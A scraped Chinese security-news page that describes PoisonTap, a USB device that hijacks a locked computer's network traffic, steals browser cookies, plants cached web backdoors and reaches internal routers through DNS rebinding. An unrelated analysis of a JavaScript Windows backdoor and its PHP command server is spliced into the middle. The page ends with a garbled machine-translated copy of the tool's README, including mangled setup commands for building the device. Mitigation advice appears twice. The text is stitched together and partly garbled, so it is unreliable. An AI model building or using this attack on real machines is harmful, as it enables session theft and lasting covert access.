Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
譯:WisFree
預(yù)估稿費(fèi):200RMB(不服你也來投稿啊!)
投稿方式:發(fā)送郵件至linwei#360.cn,或登陸網(wǎng)頁版在線投稿
PoisonTap
PoisonTap是一款制作成本僅為5美元的設(shè)備,它主要使用的是極客圈著名的Raspberry Pi Zero(樹莓派)。只需要一根USB數(shù)據(jù)線和一張SD存儲(chǔ)卡,我們就可以將其當(dāng)作USB Armory和LAN Turtle這樣的USB設(shè)備來使用了。
發(fā)布時(shí)間:2016年11月16日
源代碼下載地址:https://github.com/samyk/poisontap
聯(lián)系方式:@SamyKamkar // https://samy.pl
當(dāng)PoisonTap(Raspberry Pi Zero + Node.js)插入一臺(tái)受密碼保護(hù)的計(jì)算機(jī)(鎖定狀態(tài))之后,它將會(huì)進(jìn)行以下操作:
1. 模擬一個(gè)USB接口的以太網(wǎng)設(shè)備(或Thunderbolt接口);
2. 劫持設(shè)備上的所有網(wǎng)絡(luò)通信流量;
3. 利用Web瀏覽器嗅探并存儲(chǔ)Alexa網(wǎng)站排名前十萬的網(wǎng)站HTTP cookie和session(會(huì)話);
4. 將網(wǎng)絡(luò)內(nèi)部路由暴露給攻擊者,攻擊者將可以通過WebSocket和DNS rebinding技術(shù)遠(yuǎn)程訪問目標(biāo)路由;
5. 在大量網(wǎng)站的HTTP cache中安裝持久化的Web后門;
6. 允許攻擊者遠(yuǎn)程控制用戶發(fā)送HTTP請求,并強(qiáng)行將用戶cookies信息發(fā)送至攻擊者所控制的服務(wù)器;
7. 所有操作可以在一臺(tái)鎖定的計(jì)算機(jī)中運(yùn)行,無需進(jìn)行解鎖操作;
8. 移除PoisonTap設(shè)備之后,后門和遠(yuǎn)程訪問權(quán)限仍然存在;
PoisonTap可以繞過以下安全機(jī)制:
1. 計(jì)算機(jī)鎖屏密碼;
2. 路由表優(yōu)先級(jí)和網(wǎng)絡(luò)接口服務(wù)次序;
3. 同源策略;
4. X-Frame-Options;
5. HttpOnly Cookies;
6. SameSite cookie屬性;
7. 雙因素/多因素身份驗(yàn)證(2FA/MFA);
8. DNS Pinning;
9. 跨域資源共享(CORS)
10. HTTPS cookie的安全保護(hù)功能;
演示視頻
PoisonTap的工作機(jī)制
PoisonTap可以利用目標(biāo)設(shè)備或網(wǎng)絡(luò)中現(xiàn)有的可信機(jī)制(例如USB、Thunderbolt、DHCP、DNS和HTTP)來引起一系列滾雪球式的連鎖反應(yīng)。它可以獲取到目標(biāo)網(wǎng)絡(luò)的訪問權(quán),安裝半持久化的惡意后門,并從目標(biāo)系統(tǒng)中提取數(shù)據(jù)。
簡而言之,PoisonTap可以執(zhí)行下列操作:
網(wǎng)絡(luò)劫持
1. 將PoisonTap插入一臺(tái)處于鎖定狀態(tài)的計(jì)算機(jī);
2. PoisonTap會(huì)模擬出一個(gè)以太網(wǎng)設(shè)備。默認(rèn)配置下,Windows、macOS和Linux都可以識(shí)別以太網(wǎng)設(shè)備,然后自動(dòng)將該設(shè)備加載為低優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備并向其發(fā)送DHCP請求,即使計(jì)算機(jī)當(dāng)前處于鎖定狀態(tài)。
3. PoisonTap會(huì)響應(yīng)DHCP請求,然后向計(jì)算機(jī)提供一個(gè)IP地址。但是這個(gè)DHCP響應(yīng)會(huì)告訴計(jì)算機(jī)整個(gè)IPv4地址空間都屬于PoisonTap本地網(wǎng)絡(luò),而不僅僅只是其中的一部分子網(wǎng),例如192.168.0.0-192.168.0.255。
-一般來說,插入其他的網(wǎng)絡(luò)設(shè)備之后是不會(huì)影響計(jì)算機(jī)的網(wǎng)絡(luò)通信的,因?yàn)樾虏迦氲脑O(shè)備優(yōu)先級(jí)會(huì)比之前可信任的網(wǎng)絡(luò)設(shè)備優(yōu)先級(jí)低,因此新設(shè)備無法取代當(dāng)前網(wǎng)絡(luò)流量的網(wǎng)關(guān)。但是…
-由于“局域網(wǎng)流量”的優(yōu)先級(jí)高于“互聯(lián)網(wǎng)流量”的優(yōu)先級(jí),因此路由表、網(wǎng)關(guān)優(yōu)先級(jí)和網(wǎng)絡(luò)接口服務(wù)順序之類的安全機(jī)制都將會(huì)被繞過。
-PoisonTap正是利用了這種機(jī)制,因?yàn)椤暗蛢?yōu)先級(jí)網(wǎng)絡(luò)設(shè)備的子網(wǎng)”其優(yōu)先級(jí)要高于“高優(yōu)先級(jí)網(wǎng)絡(luò)設(shè)備的網(wǎng)關(guān)”。
-這也就意味著,如果流量的目標(biāo)地址為1.2.3.4,那么PoisonTap就可以捕獲到這個(gè)流量,因?yàn)镻oisonTap的本地網(wǎng)絡(luò)的子網(wǎng)中包含1.2.3.4。
-正因如此,即便計(jì)算機(jī)中使用了其他高優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備,即使網(wǎng)關(guān)設(shè)置正確,所有的互聯(lián)網(wǎng)流量仍然會(huì)經(jīng)過PoisonTap。
Cookie嗅探
1. 只要Web瀏覽器能夠在后臺(tái)運(yùn)行,其中的一個(gè)Web頁面就可以在后臺(tái)通過AJAX或動(dòng)態(tài)腳本/iframe標(biāo)簽發(fā)送HTTP請求。
2. 此時(shí),因?yàn)樗械牧髁慷紩?huì)流經(jīng)PoisonTap設(shè)備,PoisonTap就可以利用DNS欺騙來返回它自身的地址,從而讓所有的HTTP請求都發(fā)送至PoisonTap的Web服務(wù)器中(Node.js)。
3. 當(dāng)Web服務(wù)器接收到HTTP請求之后,PoisonTap將會(huì)返回一段可以被解析為HTML或JavaScript的響應(yīng)數(shù)據(jù),大多數(shù)瀏覽器都可以正確地解析這類返回?cái)?shù)據(jù)。
4. 返回的HTML或JS將會(huì)生成很多帶有“hidden”屬性的iframe,每一個(gè)iframe都與Alexa排名前一百萬的網(wǎng)站域名有關(guān)。
-網(wǎng)站的“X-Frame-Options”安全機(jī)制都會(huì)被繞過,因?yàn)镻oisonTap現(xiàn)在就是HTTP服務(wù)器,它可以選擇發(fā)送至客戶端的HTTP header。
-此時(shí),HTTP cookie會(huì)被瀏覽器發(fā)送至已被PoisonTap劫持的“公共IP地址”,而PoisonTap就可以記錄下用戶的cookie和身份驗(yàn)證信息了。
-“HttpOnly”(cookie安全保護(hù)機(jī)制)已經(jīng)被繞過了。
-跨域資源共享和同源策略也已經(jīng)被繞過了。
-因?yàn)槲覀儾蹲降降氖莄ookie,而不是用戶的憑證數(shù)據(jù),因此網(wǎng)站所采用的雙因素或多因素身份驗(yàn)證也會(huì)被繞過,因?yàn)楣粽呖梢允褂胏ookie來進(jìn)行登錄。這是因?yàn)槲覀儾]有調(diào)用網(wǎng)站的登錄功能,我們只是繼續(xù)進(jìn)行著一個(gè)已經(jīng)存在的登錄會(huì)話,這是不會(huì)觸發(fā)雙因素身份驗(yàn)證的。
-如果服務(wù)器使用的是HTTPS,但cookie沒有設(shè)置Secure標(biāo)簽的話,HTTPS保護(hù)機(jī)制仍然會(huì)被繞過,而cookie數(shù)據(jù)依然會(huì)被發(fā)送至PoisonTap。
遠(yuǎn)程訪問Web后門
1. 當(dāng)PoisonTap生成了大量iframe之后,它會(huì)迫使瀏覽器加載這些iframe。此時(shí)它們就不是空白頁面了,而是HTML+JavaScript的Web后門。
2. 因?yàn)镻oisonTap可以對這些后門進(jìn)行緩存,此時(shí)這些后門也就相當(dāng)于跟網(wǎng)站進(jìn)行了綁定。這樣一來,攻擊者就可以使用這些網(wǎng)站cookie來發(fā)起“同源”請求了。
-比如說,當(dāng)http://nfl.com/PoisonTap這個(gè)iframe被加載之后,Poisontap將會(huì)接收到這個(gè)網(wǎng)絡(luò)流量,然后通過Node服務(wù)器對這個(gè)請求進(jìn)行響應(yīng)。
3. 此時(shí),用戶收到的響應(yīng)數(shù)據(jù)其實(shí)就是HTML與JavaScript的組合數(shù)據(jù),它們將會(huì)生成一個(gè)持久化的WebSocket。
內(nèi)部路由后門&遠(yuǎn)程訪問
1. PoisonTap無法劫持的一種網(wǎng)絡(luò)就是真實(shí)網(wǎng)絡(luò)接口中的局域網(wǎng)子網(wǎng)。比如說,如果用戶WiFi的子網(wǎng)為192.168.0.x,那么這個(gè)網(wǎng)絡(luò)就不會(huì)受PoisonTap影響。但是…
2. Poisontap可以強(qiáng)迫主機(jī)緩存一個(gè)Web后門,尤其是當(dāng)目標(biāo)路由的IP地址后面加上“.ip.samy.pl”之后(例如“192.168.0.1.ip.samy.pl”),此時(shí)將會(huì)產(chǎn)生持久化的DNS rebinding攻擊。
3. DNS pinning和DNS rebinding將會(huì)被繞過。
4. 現(xiàn)在后門已經(jīng)被緩存至了http://192.168.0.1.ip.samy.pl/PoisonTap。這也就意味著,如果我們通過Web后門在一個(gè)iframe中遠(yuǎn)程加載http://192.168.0.1.ip.samy.pl/PoisonTap的話,我們就可以在內(nèi)部路由中執(zhí)行任意的AJAX GET/POST請求了。
其他功能
1. 除此之外,PoisonTap還可以修改大量常見的CDN文件,它會(huì)在正確的代碼后面添加一個(gè)后門。這樣一來,當(dāng)目標(biāo)網(wǎng)站加載了受感染的CDN文件之后,攻擊者就可以獲取到目標(biāo)的遠(yuǎn)程訪問權(quán)了。
2. 因?yàn)楹箝T會(huì)被安裝在每一個(gè)域中,所以攻擊者就可以讓瀏覽器來發(fā)送“同源”請求了(AJAX GET/POST)。
針對PoisonTap的緩解方案
服務(wù)器端的安全建議
如果你運(yùn)行著一臺(tái)Web服務(wù)器,那么你可以采用以下幾種簡單的方法來保證服務(wù)器的安全:
1. 使用HTTPS,至少要在處理身份驗(yàn)證數(shù)據(jù)的時(shí)候使用HTTPS;
2. 確保開啟了cookie的Secure標(biāo)簽,以防止HTTPS cookie的數(shù)據(jù)發(fā)生泄漏;
3. 當(dāng)你需要加載遠(yuǎn)程JavaScript資源時(shí),使用Subresource Integrity(子資源完整性)標(biāo)簽。
4. 使用HSTS來防止HTTPS遭到攻擊
桌面端的安全建議
1. 在你每次離開電腦時(shí),關(guān)閉你的瀏覽器;
2. 禁用你的USB或Thunderbolt接口;
3. 經(jīng)常清理瀏覽器的緩存數(shù)據(jù);
4. 對于數(shù)據(jù)存儲(chǔ)介質(zhì)采用全盤加密,如果它具備休眠模式,則應(yīng)該開啟該模式;
5. 在不使用電腦時(shí),讓電腦進(jìn)入休眠狀態(tài)而不是睡眠狀態(tài),在休眠狀態(tài)中,電腦中所有的進(jìn)程都將停止工作,安全性更高;
一臺(tái)被入侵的服務(wù)器上,我們發(fā)現(xiàn)了一個(gè)攻擊者遺留下來的腳本。該腳本是由JavaScript編寫的,主要功能是作為Windows后門及C&C后端使用。在這里我首先要向大家說聲抱歉,為了保護(hù)客戶的隱私,在本文中我不會(huì)對一些細(xì)節(jié)做太多的探討和描述。
該腳本的體積非常的小只有不到2KB,唯一能表明它的存在的是一個(gè)名為“wscript.exe”的運(yùn)行進(jìn)程,這是一個(gè)合法的Windows程序。腳本的主要部分包含一個(gè)無限循環(huán)的命令等待,在將查詢字符串“reflow”傳遞給C&C 之后,它會(huì)休眠4個(gè)小時(shí)。
C&C的回調(diào)如下所示:
為了獲取更多的信息,我開始在各種搜索引擎和VirusTotal中搜索相關(guān)的代碼段,但令我失望的是我什么也沒發(fā)現(xiàn)。因此,我決定使用Recorded Future來幫助我尋找。Recorded Future可以通過掃描并分析成千上萬網(wǎng)站、博客、twitter帳戶的信息來找到目前和未來人們、組織、活動(dòng)和事件之間的關(guān)聯(lián)性。
在返回結(jié)果中匹配了三個(gè)在2017年12月刪除的匹配項(xiàng)。緩存的數(shù)據(jù)和鏈接回的源幫助我用C&C包恢復(fù)了壓縮文件。
在軟件包中有四個(gè)主要腳本(3個(gè)PHP和1個(gè)JavaScript文件)被復(fù)制到Web服務(wù)器。web服務(wù)器可能受到攻擊者控制或受到其它手段的危害。其中的主要腳本index.php包含了一個(gè)SVG動(dòng)畫,當(dāng)訪問者碰巧訪問該頁面后,會(huì)看到如下畫面。
該腳本顯示,當(dāng)“reflow”傳遞到頁面時(shí),惡意JavaScript文件(被重命名為一個(gè)PNG文件)的內(nèi)容將被發(fā)送到受害者PC,并通過后門腳本進(jìn)行評估。惡意腳本會(huì)通過WMI來獲取系統(tǒng)信息,然后將該信息作為其身份驗(yàn)證方法的一部分發(fā)回。
在這里我們可以看到,該惡意腳本被無限循環(huán)運(yùn)行,等待上傳,下載和執(zhí)行等命令。
“mAuth”函數(shù)會(huì)生成短隨機(jī)字符串,并將它們與系統(tǒng)信息連接起來,并在Base64編碼后的Cookie中將其傳遞給C&C。這些隨機(jī)字符串很重要,因?yàn)樗鼈儽挥米鳂?biāo)記來識(shí)別包含在它們之間的指令。
數(shù)據(jù)通過AJAX回傳給C&C。這里有一個(gè)名為“FillHeader”的函數(shù)用來填充HTTP頭。
以下是當(dāng)受害者PC檢查時(shí)HTTP請求的樣子:
對cookie值執(zhí)行Base64解碼結(jié)果在第二行。在第二個(gè)符號(hào)顯示系統(tǒng)信息后,重復(fù)字符串上的Base64解碼。
其中的一個(gè)PHP腳本似乎是一個(gè)模板,被使用HTML代碼修改以使頁面看起來合法(例如,它包含實(shí)際網(wǎng)頁的一部分)。該腳本被重命名并由index.php腳本引用。該腳本具有負(fù)責(zé)上傳和下載文件以及創(chuàng)建活動(dòng)日志的所有功能。日志文件包括受害者的IP地址,上傳和下載的文件,會(huì)話信息等。
“Authentication”函數(shù)讀取來自受害者的cookie值并解析出系統(tǒng)信息,以及定義用于創(chuàng)建日志文件名的變量。受害者的用戶名和計(jì)算機(jī)名稱為MD5哈希,并被作為日志文件名稱的一部分使用。當(dāng)受害者PC連接到C&C時(shí),會(huì)在C&C服務(wù)器上創(chuàng)建三個(gè)文件:
包中的最后一個(gè)PHP腳本用于與受害PC進(jìn)行交互,并將命令發(fā)送給受害PC。請注意timezone和有趣的login方法。
可用的命令非常有限,但這已經(jīng)足以讓攻擊者將更多更強(qiáng)大的工具上傳到受害者的PC上,并獲取更進(jìn)一步的網(wǎng)絡(luò)訪問權(quán)限。最后,如果攻擊者意識(shí)到他們即將被發(fā)現(xiàn),他們可以使用此腳本中內(nèi)置的另一組命令,來刪除所有重要的日志文件。
由@SamyKamkar創(chuàng)建||https://samy.pl
當(dāng)PoisonTap(Raspberry Pi Zero&Node.js)插入到受鎖/受密碼保護(hù)的計(jì)算機(jī)中時(shí),它:
通過USB(或Thunderbolt)模擬以太網(wǎng)設(shè)備
劫持來自機(jī)器的所有互聯(lián)網(wǎng)流量(盡管是低優(yōu)先級(jí)/未知網(wǎng)絡(luò)接口)
虹吸并存儲(chǔ)來自網(wǎng)絡(luò)瀏覽器的HTTP Cookie和會(huì)話,用于Alexa前100萬個(gè)網(wǎng)站
將內(nèi)部路由器暴露給攻擊者,使其可通過出站W(wǎng)ebSocket和DNS重新綁定(遠(yuǎn)程訪問Matt Austin進(jìn)行重新綁定)!
在HTTP緩存中為數(shù)十萬個(gè)域和常見的Javascript CDN URL安裝一個(gè)持久的基于Web的后門,所有這些都可以通過緩存中毒訪問用戶的cookie
允許攻擊者遠(yuǎn)程強(qiáng)制用戶使用任何退回的域中的用戶的Cookie進(jìn)行HTTP請求和代理回復(fù)(GET&POST)
它不要求機(jī)器被解鎖
后門和遠(yuǎn)程訪問仍然存在,即使在設(shè)備被刪除并且攻擊者之后移動(dòng)
(Ara令人難以置信的HTML5畫布動(dòng)畫)
PoisonTap避免了以下安全機(jī)制:
密碼保護(hù)鎖屏
路由表優(yōu)先級(jí)和網(wǎng)絡(luò)接口服務(wù)訂單
同源政策
X-框架,選項(xiàng)
HttpOnly Cookies
SameSite cookie屬性
雙因素/多因素認(rèn)證(2FA / MFA)
DNS固定
跨原始資源共享(CORS)
HTTPS的cookie保護(hù)當(dāng)安全 cookie的標(biāo)志和HSTS未啟用
PoisonTap是為$ 5 Raspberry Pi Zero而設(shè)計(jì)的,除了micro-USB電纜和microSD卡之外,還可以使用任何其他組件,或者可以使用以太網(wǎng)到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模擬USB小工具的其他設(shè)備上工作,如USB Armory和LAN Turtle。
視頻中的實(shí)時(shí)演示和更多詳細(xì)信息:
聯(lián)絡(luò)點(diǎn): @SamyKamkar //https://samy.pl
發(fā)布日期: 2016 年 11月16日
源代碼和下載: https://github.com/samyk/poisontap
PoisonTap通過利用機(jī)器和網(wǎng)絡(luò)的各種機(jī)制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的現(xiàn)有信任來產(chǎn)生級(jí)聯(lián)效應(yīng),以產(chǎn)生信息滲透,網(wǎng)絡(luò)訪問和半永久后門的安裝的雪球效應(yīng)。
簡而言之,PoisonTap執(zhí)行以下操作:
網(wǎng)絡(luò)劫持
攻擊者將PoisonTap(如武器化的Raspberry Pi Zero)插入鎖定的計(jì)算機(jī)(即使計(jì)算機(jī)受密碼保護(hù))
PoisonTap模擬以太網(wǎng)設(shè)備(例如,通過USB / Thunderbolt的以太網(wǎng)) - 默認(rèn)情況下,Windows,OS X和Linux識(shí)別以太網(wǎng)設(shè)備,自動(dòng)將其作為低優(yōu)先級(jí)網(wǎng)絡(luò)設(shè)備加載并執(zhí)行DHCP請求,即使機(jī)器被鎖定或密碼保護(hù)
PoisonTap響應(yīng)DHCP請求并向機(jī)器提供IP地址,但是DHCP響應(yīng)是為了告訴機(jī)器整個(gè)IPv4空間(0.0.0.0 - 255.255.255.255)是PoisonTap本地網(wǎng)絡(luò)的一部分,而不是一個(gè)小子網(wǎng)(例如192.168.0.0 - 192.168.0.255)
通常,如果輔助網(wǎng)絡(luò)設(shè)備連接到一臺(tái)機(jī)器,那么它將比現(xiàn)有的(受信任的)網(wǎng)絡(luò)設(shè)備的優(yōu)先級(jí)低,并且不會(huì)取代網(wǎng)關(guān)以進(jìn)行互聯(lián)網(wǎng)流量,這是不重要的,但是...
由于“互聯(lián)網(wǎng)流量”的“LAN流量”的優(yōu)先級(jí),任何路由表/網(wǎng)關(guān)優(yōu)先級(jí)/網(wǎng)絡(luò)接口服務(wù)訂單安全性被繞過,
PoisonTap利用此網(wǎng)絡(luò)接入,甚至作為一個(gè)低優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備,因?yàn)樵撟泳W(wǎng) A的低優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備比給予更高的優(yōu)先級(jí)網(wǎng)關(guān)的的(默認(rèn)路由)最高優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備
這意味著如果流量注定為1.2.3.4,通常這個(gè)流量會(huì)達(dá)到主(非PoisonTap)網(wǎng)絡(luò)設(shè)備的默認(rèn)路由/網(wǎng)關(guān),PoisonTap實(shí)際上會(huì)獲得流量,因?yàn)镻oisonTap“本地”網(wǎng)絡(luò)/子網(wǎng)據(jù)說包含1.2 .3.4,存在的其他IP地址;)
因此,即使機(jī)器連接到具有較高優(yōu)先級(jí)的網(wǎng)絡(luò)設(shè)備和正確的網(wǎng)關(guān)(真正的WiFi,以太網(wǎng)等),所有互聯(lián)網(wǎng)流量都會(huì)超過PoisonTap。
餅干虹吸
只要Web瀏覽器運(yùn)行后臺(tái),開放頁面之一可能會(huì)在后臺(tái)執(zhí)行HTTP請求(例如,加載新廣告,將數(shù)據(jù)發(fā)送到分析平臺(tái),或者只是繼續(xù)跟蹤您的網(wǎng)頁)運(yùn)動(dòng))通過AJAX或動(dòng)態(tài)腳本/ iframe標(biāo)簽
您可以自己看到這一點(diǎn),進(jìn)入您的devtools /檢查員(通常為Cmd + Shift + I或Ctrl + Shift + I),訪問訪問量很大的網(wǎng)站,點(diǎn)擊網(wǎng)絡(luò)標(biāo)簽,并觀看遠(yuǎn)程資源繼續(xù)訪問即使你在頁面上沒有采取任何行動(dòng)
根據(jù)此HTTP請求,由于所有流量退出到PoisonTap設(shè)備上,PoisonTap DNS即時(shí)傳播返回自己的地址,導(dǎo)致HTTP請求命中PoisonTap Web服務(wù)器(Node.js)
如果DNS服務(wù)器指向PoisonTap無法獲得特權(quán)的內(nèi)部IP(LAN),攻擊將繼續(xù)發(fā)揮作用,因?yàn)閮?nèi)部DNS服務(wù)器將為各種被攻擊的域產(chǎn)生公共IP地址,而這是公共IP地址PoisonTap已經(jīng)劫持
一旦內(nèi)部DNS服務(wù)器做出響應(yīng),Web瀏覽器就會(huì)觸發(fā)公共IP,最終在任一情況下?lián)糁蠵oisonTap Web服務(wù)器(Node.js)
當(dāng)Node Web服務(wù)器接收到請求時(shí),PoisonTap會(huì)響應(yīng)一個(gè)可以解釋為HTML或Javascript的響應(yīng),兩者都能正常執(zhí)行(許多網(wǎng)站將在后臺(tái)請求中加載HTML或JS)
HTML / JS不可知頁面然后生成許多隱藏的iframe,每個(gè)iframe跨不同的Alexa-top-100萬域
域名上的任何“X-Frame-Options”安全性被忽略,因?yàn)镻oisonTap現(xiàn)在是HTTP服務(wù)器,并選擇要發(fā)送給客戶端的頭文件
隨著對站點(diǎn)的每個(gè)iframe HTTP請求(例如http://nfl.com/PoisonTap),HTTP Cookie從瀏覽器發(fā)送到被PoisonTap劫持的“公共IP”,它迅速記錄cookie /身份驗(yàn)證信息將數(shù)萬個(gè)用戶的Cookie記錄到PoisonTap中
任何“HttpOnly”cookie安全性被繞過,并且這些cookie被捕獲,因?yàn)樵谟虮旧砩蠜]有執(zhí)行Javascript,而是僅用于首先加載iframe
任何跨原始資源共享或同源策略安全性被繞過,因?yàn)樵L問域看起來對瀏覽器是合法的
因?yàn)槲覀冋谧トookie而不是憑據(jù),所以當(dāng)攻擊者使用cookie登錄時(shí),網(wǎng)站上實(shí)現(xiàn)的任何2FA / MFA都將被繞過。這是因?yàn)槲覀冞€沒有實(shí)際執(zhí)行的登錄功能,而是繼續(xù)已經(jīng)登錄這不會(huì)話不會(huì)觸發(fā)雙因素身份驗(yàn)證
如果服務(wù)器正在使用HTTPS,但是Cookie并未明確設(shè)置Secure Cookie標(biāo)志,則HTTPS保護(hù)被繞過,并將該cookie發(fā)送到PoisonTap
可遠(yuǎn)程訪問的基于Web的后門
雖然PoisonTap正在產(chǎn)生成千上萬的I幀,迫使瀏覽器加載每一個(gè),這些iframe會(huì)并不只是空白頁面,而是HTML +的Javascript后門被無限期緩存
因?yàn)镻oisonTap強(qiáng)制將這些后門緩存在每個(gè)域上,所以后門綁定到該域,使攻擊者能夠使用域的cookie,并在將來啟動(dòng)同源請求,即使用戶當(dāng)前未登錄
例如,當(dāng)http://nfl.com/PoisonTap iframe加載時(shí),PoisonTap接受轉(zhuǎn)移的Internet流量,通過Node web服務(wù)器響應(yīng)HTTP請求
添加額外的HTTP頭以無限期緩存該頁面
該頁面的實(shí)際響應(yīng)是HTML和Javascript的組合,它會(huì)向攻擊者的Web服務(wù)器(通過Internet而不是PoisonTap設(shè)備)生成一個(gè)持久的WebSocket,
WebSocket保持打開,允許攻擊者在將來的任何時(shí)間連接回退回機(jī)器,并執(zhí)行任何具有后門實(shí)現(xiàn)的源代碼(Alexa的前100萬個(gè)站點(diǎn) - 見下文)
如果后門在一個(gè)站點(diǎn)(例如,nfl.com)上打開,但用戶希望攻擊不同的域(例如pinterest.com),攻擊者可以將nfl.com上的iframe加載到pinterest.com后門(http://pinterest.com/PoisonTap)
再次,域上的任何“X框架選項(xiàng)”,跨原始資源共享和同源策略安全性完全被忽略,因?yàn)檎埱髮⒂|發(fā)PoisonTap離開的緩存,而不是真正的域
內(nèi)部路由器后門和遠(yuǎn)程訪問
一個(gè)網(wǎng)絡(luò)PoisonTap不能劫持是真實(shí)網(wǎng)絡(luò)接口的實(shí)際LAN子網(wǎng)(例如,如果用戶的wifi子網(wǎng)為192.168.0.x,則該網(wǎng)絡(luò)不受影響),但...
PoisonTap強(qiáng)制將一個(gè)后門緩存在一個(gè)特殊的主機(jī)上,特別是目標(biāo)路由器的IP前身為“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本質(zhì)上是產(chǎn)生持久的 DNS重綁定攻擊
當(dāng)使用PoisonTap作為DNS服務(wù)器(受害者使用公共DNS服務(wù)器)時(shí),PoisonTap會(huì)臨時(shí)響應(yīng)專門的PoisonTap IP(1.0.0.1),這意味著當(dāng)時(shí)的任何請求都將觸發(fā)PoisonTap Web服務(wù)器
如果DNS服務(wù)器設(shè)置為內(nèi)部網(wǎng)絡(luò)(例如192.168.0.x),則會(huì)另外特別要求1.0.0.1 **。pin。** ip.samy.pl告訴我的專用DNS服務(wù)器(在公共互聯(lián)網(wǎng)上)暫時(shí)響應(yīng)任何[ip.address] .ip.samy.pl地址與“固定”地址(1.0.0.1)幾秒鐘
然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速設(shè)置了一個(gè)后門,該漏洞目前指向1.0.0.1的PoisonTap設(shè)備,允許從PoisonTap設(shè)備訪問并緩存后門
DNS綁定和DNS重新綁定的安全性被繞過由于DNS綁定表的耗盡,由于以前成千上萬的請求,并且將來不需要重新綁定,這使得這種攻擊持續(xù)了很長一段時(shí)間(由于馬特奧斯汀與我分享這次攻擊!)
現(xiàn)在,一個(gè)后門被強(qiáng)制緩存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何將來對192.168.0.1.ip.samy.pl的請求將會(huì)打到未被解除的 IP地址,導(dǎo)致192.168.0.1要解決,直接指向路由器
這意味著如果通過后門遠(yuǎn)程加載iframe中的192.168.0.1.ip.samy.pl/PoisonTap主機(jī),您現(xiàn)在可以對內(nèi)部路由器上的任何其他頁面執(zhí)行AJAX GET / POSTs ,完全遠(yuǎn)程,從而允許遠(yuǎn)程訪問內(nèi)部路由器
這可能導(dǎo)致攻擊者可能從未訪問過的路由器的其他攻擊,例如用于覆蓋DNS服務(wù)器的路由器上的默認(rèn)管理員憑據(jù),或其他身份驗(yàn)證漏洞
DNS服務(wù)器的概述:
[ip.addy] .ip.samy.pl 通常用[ip.addy]
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
[ip.addy] .pin.ip.samy.pl 暫時(shí)(?5 秒)分* .ip.samy.pl到[ip.addy]
1.0.0.1.pin.ip.samy.pl - > 1.0.0.1
192.168.0.1.ip.samy.pl - > 1.0.0.1(A記錄,短TTL)
(約5秒鐘后)
192.168.0.1.ip.samy.pl - > 192.168.0.1(A記錄)
其他可遠(yuǎn)程訪問的基于Web的后門
此外,PoisonTap替代了成千上萬種常見的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正確的代碼加上一個(gè)后門,使攻擊者可以訪問任何加載受感染的基于CDN的Javascript文件的域
因?yàn)槊總€(gè)域都有一個(gè)后門,這樣就可以讓攻擊者遠(yuǎn)程強(qiáng)制后退的瀏覽器在幾乎任何主要的域上執(zhí)行相同的起始請求(AJAX GET / POST),即使受害者目前沒有任何打開的窗口域
后門將現(xiàn)在生活在任何其他網(wǎng)站上,當(dāng)受害者訪問該網(wǎng)站時(shí),還會(huì)使用這些受感染的基于HTTP的CDN Javascript框架之一
服務(wù)器端安全性
如果您正在運(yùn)行一個(gè)Web服務(wù)器,那么防范PoisonTap就很簡單:
至少使用HTTPS進(jìn)行認(rèn)證和驗(yàn)證的內(nèi)容
老實(shí)說,您應(yīng)該專門使用HTTPS,并始終將HTTP內(nèi)容重定向到HTTPS,以防止用戶被欺騙提供憑據(jù)或通過HTTP提供其他PII
確保Cookie上啟用了安全標(biāo)志,防止HTTPS Cookie通過HTTP泄漏
使用遠(yuǎn)程JavaScript資源時(shí),請使用Subresource Integrity腳本標(biāo)記屬性
使用HSTS來防止HTTPS降級(jí)攻擊
桌面安全
將水泥添加到USB和Thunderbolt端口可以有效
每次離開機(jī)器時(shí)關(guān)閉瀏覽器都可以工作,但完全不切實(shí)際
禁用USB / Thunderbolt端口也是有效的,盡管也是不切實(shí)際的
鎖定電腦沒有任何效果,因?yàn)榫W(wǎng)絡(luò)和USB堆棧在機(jī)器被鎖定時(shí)運(yùn)行,但是,進(jìn)入加密睡眠模式,需要密鑰來解密內(nèi)存(例如FileVault2 +深度睡眠)解決了大多數(shù)問題,作為您的瀏覽器將不再提出請求,即使喚醒
源代碼: https://github.com/samyk/poisontap
注意:如果您發(fā)現(xiàn)設(shè)備不是自動(dòng)作為以太網(wǎng)控制器(例如Windows的舊版本),則可以在pi_startup.sh中更改VID和PID
#指令從https://gist.github.com/gbaman/50b6cca61dd1c3f88f41調(diào)整sudo bash#如果Raspbian BEFORE甚至-10,那么運(yùn)行下一行:BRANCH=next rpi-updateecho -e “ \ nauto usb0 \ nallow-hotplug usb0 \ niface usb0 inet static \ n \ taddress 1.0.0.1 \ n \ tnetmask 0.0.0.0 ” >> / etc / network / interfaces echo “ dtoverlay=dwc2 ” >> / boot /config.txt echo -e “ dwc2 \ ng_ether ” >> / etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >> /etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update && apt-get升級(jí)apt-get -y安裝isc-dhcp-server dsniff screen nodejs
將dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后將其他文件放在/ home / pi / poisontap中,然后重新啟動(dòng)以確保一切正常。
repo中有多個(gè)文件,它們在不同的方面使用。列表:
